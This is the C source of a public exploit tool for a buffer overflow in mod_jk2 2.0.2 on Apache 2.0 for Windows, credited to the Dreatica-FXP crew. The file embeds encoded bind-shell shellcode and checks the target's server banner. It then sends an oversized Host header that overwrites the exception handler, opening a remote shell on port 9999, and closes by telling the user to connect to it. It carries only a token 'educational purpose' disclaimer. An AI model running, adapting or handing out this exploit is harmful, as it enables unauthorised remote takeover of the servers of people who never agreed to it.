/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : mod_jk2 v2.0.2 for Apache 2.0 Win32
* Found by : IOActive Security Advisory
* ----------------------------------------
* Exploit : mod_jk2 v2.0.2 Buffer Overflow Exploit (win32)
* Exploit date : 01.03.2008 - 02.03.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Info : Exploit was found by IOActive Security Advisory, trivial exploit for win32.
* The only problem here is that the mod_jk2 forstly downcase all letter in Host
* header request, Metasploit v3 have solutions for this case:
* 1. Use non-upper encoder
* 2. Use non-alpha encoder
* i used the first variant here. and all is working good.
* ----------------------------------------
* Thanks to:
* 1. IOActive Security Advisory ( )
* 2. The Metasploit project ( http://metasploit.com )
* 3. Dreatica-FXP crew ( )
* ----------------------------------------
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
************************************************************************************
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <ctime>
#pragma comment(lib,"ws2_32")
void usage(char * s);
void logo();
void end_logo();
void prepare_shellcode(unsigned char * fsh, int sh, char * cbip, int cbport, char * url);
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh);
int get_version(char * remotehost, int port, int * itarget);
int validate_args(char * remotehost, int port, int sh, int itarget);
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port);
SOCKET do_connect (char *remotehost, int port);
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------
struct _target{
const char *t ;
unsigned long ret ;
} targets[]=
{
{"mod_jk2/2.0.2 for Apache 2.0.48", 0x100115c3 },// pop,pop,ret
{NULL, 0x00000000 }
};
struct {
const char * name;
int length;
char * shellcode;
}shellcodes[]={
{"Bindshell, port 9999", 461,
/*
* windows/shell_bind_tcp - 461 bytes
* http://www.metasploit.com
* Encoder: x86/nonalpha
* EXITFUNC=seh, LPORT=9999
*/
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x6c\x8b\xd7\x3b"
"\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb\xf1\xeb"
"\x71\xe8\xe2\xff\xff\xff\x11\x2e\x0f\x36\x03\x2c\x32\x07\x27"
"\x06\x15\x30\x0f\x1a\x17\x38\x0b\x13\x2d\x2b\x15\x28\x15\x13"
"\x13\x04\x08\x27\x13\x2b\x15\x26\x11\x13\x24\x28\x28\x28\x28"
"\x28\x38\x28\x38\x28\x15\x13\x15\x28\x13\x0b\x24\x11\x2a\x26"
"\x13\x24\x28\x26\x13\x32\x32\x24\x2b\x27\x27\x26\x13\x02\x02"
"\x24\x26\x15\x11\x17\x15\x13\x18\x0e\x11\x2b\x22\x11\x37\x39"
"\x39\x01\x13\x09\x06\x37\x24\x29\x2a\x2a\x2a\x11\x2a\x2a\x26"
"\x2a\x13\x28\x11\x24\x17\x29\x13\x28\xfc\x7b\xeb\x7b\xe8\xf9"
"\xff\xff\xff\x60\x8b\x7b\x24\x24\x8b\x7b\x3c\x8b\x7c\x05\x7b"
"\x01\xef\x8b\x7b\x18\x8b\x5f\x20\x01\xeb\x7b\x8b\x34\x8b\x01"
"\xee\x31\xc0\x99\xac\x84\xc0\x7b\x07\xc1\xca\x0d\x01\xc2\xeb"
"\xf4\x3b\x7b\x24\x28\x7b\xe5\x8b\x5f\x24\x01\xeb\x7b\x8b\x0c"
"\x7b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x7b\x24\x1c\x7b\xc3"
"\x31\xdb\x7b\x8b\x7b\x30\x8b\x40\x0c\x8b\x7b\x1c\xad\x8b\x40"
"\x08\x5e\x7b\x8e\x7b\x0e\xec\x7b\xff\xd6\x7b\x7b\x7b\x7b\x33"
"\x32\x7b\x7b\x7b\x32\x5f\x7b\xff\xd0\x7b\xcb\xed\xfc\x3b\x7b"
"\xff\xd6\x5f\x89\xe5\x7b\x81\xed\x08\x02\x7b\x7b\x02\xff\xd0"
"\x7b\xd9\x09\xf5\xad\x7b\xff\xd6\x7b\x7b\x7b\x7b\x7b\x7b\x7b"
"\x7b\x7b\xff\xd0\x7b\x7b\x27\x0f\x7b\x7b\x89\xe1\x95\x7b\xa4"
"\x1a\x7b\xc7\x7b\xff\xd6\x7b\x10\x7b\x7b\xff\xd0\x7b\xa4\xad"
"\x2e\xe9\x7b\xff\xd6\x7b\x7b\xff\xd0\x7b\xe5\x7b\x86\x7b\x7b"
"\xff\xd6\x7b\x7b\x7b\x7b\xff\xd0\x93\x7b\xe7\x7b\xc6\x7b\x7b"
"\xff\xd6\x7b\xff\xd0\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x89\xe5\x7b"
"\x7b\x7b\x29\xcc\x89\xe7\x7b\x7b\x89\xe2\x31\xc0\xf3\xaa\xfe"
"\x7b\x2d\xfe\x7b\x2c\x93\x8d\x7b\x38\xab\xab\xab\x7b\x7b\xfe"
"\xb3\x16\xff\x7b\x7b\xff\xd6\x5b\x7b\x7b\x7b\x7b\x7b\x7b\x01"
"\x7b\x7b\x7b\x7b\xff\xd0\x7b\xad\xd9\x05\xce\x7b\xff\xd6\x7b"
"\xff\xff\x37\xff\xd0\x8b\x7b\xfc\x83\xc4\x7b\xff\xd6\x7b\xff"
"\xd0\x7b\xf0\x8a\x04\x5f\x7b\xff\xd6\xff\xd0"
},
{NULL , NULL }
};
int main(int argc, char **argv)
{
char * remotehost=NULL;
char default_remotehost[]="127.0.0.1";
char temp1[100], temp2[100];
int port, itarget, x, sh;
SOCKET s;
char c;
int option_index=0;
logo();
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
if(argc<2)
{
usage(argv[0]);
return -1;
}
// set defaults
port=80;
itarget=-1;
sh=0;
// ------------
while((c = getopt(argc, argv, "h:p:"))!= EOF)
{
switch (c)
{
case 'h':
remotehost=optarg;
break;
case 'p':
sscanf(optarg, "%d", &port);
break;
default:
usage(argv[0]);
WSACleanup();
return -1;
}
}
if(remotehost == NULL) remotehost=default_remotehost;
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
memset(temp1, '\x20' , 58 - strlen(remotehost) -1);
printf(" # Host : %s%s# \n", remotehost, temp1);
sprintf(temp2, "%d", port);
memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Port : %s%s# \n", temp2, temp1);
memset(temp1,0,sizeof(temp1));
memset(temp2,0,sizeof(temp2));
sprintf(temp2, "%s", shellcodes[sh].name );
memset(temp1, '\x20' , 58 - strlen(temp2) -1);
printf(" # Payload : %s%s# \n", temp2, temp1);
printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);
printf(" [+] Checking if server is online\n");
fflush(stdout);
s=do_connect(remotehost, port);
if(s==-1)
{
printf(" [-] Server is OFFLINE\n");
end_logo();
return 0;
}
closesocket(s);
printf(" [+] Server is ONLINE\n");
x = get_version(remotehost, port, &itarget);
if(x<0)
{
printf(" [-] Cannot exploit due to errors\n");
WSACleanup();
end_logo();
return -1;
}
unsigned char buf[10000];
unsigned int len;
memset(buf,0,sizeof(buf));
fflush(stdout);
make_buffer(buf, &len, itarget, sh);
printf(" [+] Attacking buffer constructed\n");
if(send_buffer(buf, len, remotehost,port)==-1)
{
printf(" [-] Cannot exploit server %s\n", remotehost);
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Buffer sent\n");
printf(" [+] Connect to %s:%d\n", remotehost, 9999);
end_logo();
WSACleanup();
return 0;
}
SOCKET do_connect (char *remotehost, int port)
{
static struct hostent *host;
static struct sockaddr_in addr;
SOCKET s;
host = gethostbyname(remotehost);
if (!host)
{
perror(" [-] gethostbyname() failed");
return -1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
s = socket(PF_INET, SOCK_STREAM, 0);
if (s == -1)
{
closesocket(s);
perror("socket() failed");
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
closesocket(s);
return -1;
}
return s;
}
int get_version(char * remotehost, int port, int * target)
{
char bufmax[4096], * lp, *lp2, WebBanner[1000], Version[1000], ModJK[1000];
int bytes,j,x;
SOCKET sock;
memset(bufmax,0,sizeof(bufmax));
memset(WebBanner,0,sizeof(WebBanner));
memset(Version,0,sizeof(Version));
memset(ModJK,0,sizeof(ModJK));
sock = do_connect(remotehost, port);
if (sock == -1) return -1;
send(sock, "GET /a.html HTTP/1.0\r\n\r\n",(int)strlen("GET /a.html HTTP/1.0\r\n\r\n"),0);
if ((bytes = recv(sock, bufmax, sizeof(bufmax),0 )) <= 0) return -1;
bufmax[sizeof(bufmax)-1]=0;
if((lp=strstr(bufmax,"Server:"))==NULL) return -1;
if((lp2=strstr(lp,"\r\n"))==NULL) return -1;
strncpy(WebBanner, lp, lp2-lp);
if((lp=strstr(WebBanner,"Win32"))==NULL)
{
printf(" [-] OS is not a Win32\n");
return -1;
}
if((lp=strstr(WebBanner,"Apache/"))==NULL)
{
printf(" [-] No Apache\n");
return -1;
}
if(lp+strlen("Apache/")>WebBanner+strlen(WebBanner)-1) return -1;
lp+=strlen("Apache/");
if((lp2=strstr(lp," "))==NULL) return -1;
strncpy(Version, lp, lp2-lp);
printf(" [+] Version of Apache is %s\n", Version);
x=0;
for(j=0; targets[j].t!=0;j++)
{
if(strstr(targets[j].t,Version)!=NULL)
{
x=1;
break;
}
}
if(x==0)
{
printf(" [-] This version of Apache is UNSUPPORTED\n");
return -1;
}
printf(" [+] This version of Apache is SUPPORTED\n");
strncpy(WebBanner, lp, lp2-lp);
if((lp=strstr(WebBanner,"mod_jk2/"))==NULL)
{
printf(" [-] No mod_jk2\n");
return -1;
}
if((lp2=strstr(lp," "))==NULL) lp2=WebBanner+strlen(WebBanner);
strncpy(ModJK, lp, lp2-lp);
printf(" [+] mod_jk2 is %s\n", ModJK);
x=0;
for(j=0; targets[j].t!=0;j++)
{
if(strstr(targets[j].t,ModJK)!=NULL)
{
*target=j;
x=1;
break;
}
}
if(x==0)
{
printf(" [-] This version of mod_jk2 is UNSUPPORTED\n");
return -1;
}
printf(" [+] This version of mod_jk2 is SUPPORTED\n");
return 0;
}
void prepare_shellcode(unsigned char * fsh, unsigned int * fshlength, int sh)
{
memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);
*fshlength = shellcodes[sh].length;
}
void make_buffer(unsigned char * buf, unsigned int * len, int itarget, int sh)
{
// prepare shellcode
unsigned char fsh[10000];
unsigned int fshlength;
memset(fsh, 0, sizeof(fsh));
prepare_shellcode(fsh, &fshlength, sh);
// -----------------
// make buffer
unsigned char * cp=buf;
// begin of the HTTP request
memcpy(cp, "GET / HTTP/1.0\r\nHost: ", strlen("GET / HTTP/1.0\r\nHost: ") );
cp+=strlen((char *)cp);
// jff
*cp++='\x90';
*cp++='\x90';
*cp++='\x90';
*cp++='\x90';
// overflowing
memset(cp, '\x41', 5001);
// put the shellcode
memcpy(cp, fsh, fshlength);
cp+=1271;
// calculating backward jump
int jmp_bytes=0xffffffff - (1275);
// putting backward jump
*cp++ = '\xe9';
*cp++ = (char)((jmp_bytes ) & 0xff);
*cp++ = (char)((jmp_bytes >> 8) & 0xff);
*cp++ = (char)((jmp_bytes >> 16) & 0xff);
*cp++ = (char)((jmp_bytes >> 24) & 0xff);
// next SEH record and back jump
*cp++='\x90';
*cp++='\x90';
*cp++='\xeb';
*cp++='\xf7';
// replace SEH
*cp++ = (char)((targets[itarget].ret ) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 8) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 16) & 0xff);
*cp++ = (char)((targets[itarget].ret >> 24) & 0xff);
// trigger exception
cp+=3000;
// copy the last part of the request
memcpy(cp, "\r\n\r\n", strlen("\r\n\r\n") );
cp+=strlen((char *)cp);
}
int send_buffer(unsigned char * buf, unsigned int len, char * remotehost, int port)
{
SOCKET sock;
sock = do_connect(remotehost, port);
if (sock<0) return -1;
if (send(sock, (char *)buf,(int)strlen((char *)buf),0)<=0) return -1;
closesocket(sock);
return 1;
}
// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;
optarg = NULL;
if (next == NULL || *next == '\0')
{
if (optind == 0)
optind++;
if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}
next = argv[optind];
next++; // skip past -
optind++;
}
char c = *next++;
char *cp = strchr(optstring, c);
if (cp == NULL || c == ':')
return '?';
cp++;
if (*cp == ':')
{
if (*next != '\0')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}
return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------
void usage(char * s)
{
printf("\n");
printf(" Usage: %s -h <host> -p <port>\n", s);
printf(" -------------------------------------------------------------------\n");
printf(" Arguments:\n");
printf(" -h ........ host to attack\n");
printf(" -p ........ port to use\n");
printf("\n");
printf(" Supported mod_jk versions:\n");
for(int j=0; targets[j].t!=0;j++)
{
printf(" %d. %s\n",j+1, targets[j].t);
}
printf("\n");
printf(" Execution: %s\n\n", shellcodes[0].name);
end_logo();
}
void logo()
{
printf("\n\n");
printf(" ####################################################################### \n");
printf(" # ____ __ _ ______ __ _____ #\n");
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");
printf(" # crew #\n");
printf(" ####################################################################### \n");
printf(" # Exploit : mod_jk2 v2.0.2 for Apache 2.0 # \n");
printf(" # Author : Heretic2 # \n");
printf(" # THANKS : IOActive and The Metasploit Project # \n");
printf(" # Research: IOActive Security Advisory # \n");
printf(" # Version : 1.0 # \n");
printf(" # System : Windows ALL # \n");
printf(" # Date : 01.03.2008 - 02.03.2008 # \n");
printf(" # ------------------------------------------------------------------- # \n");
}
void end_logo()
{
printf(" # ------------------------------------------------------------------- # \n");
printf(" # Dreatica-FXP crew [Heretic2] # \n");
printf(" ####################################################################### \n\n");
}
// milw0rm.com [2008-03-31]
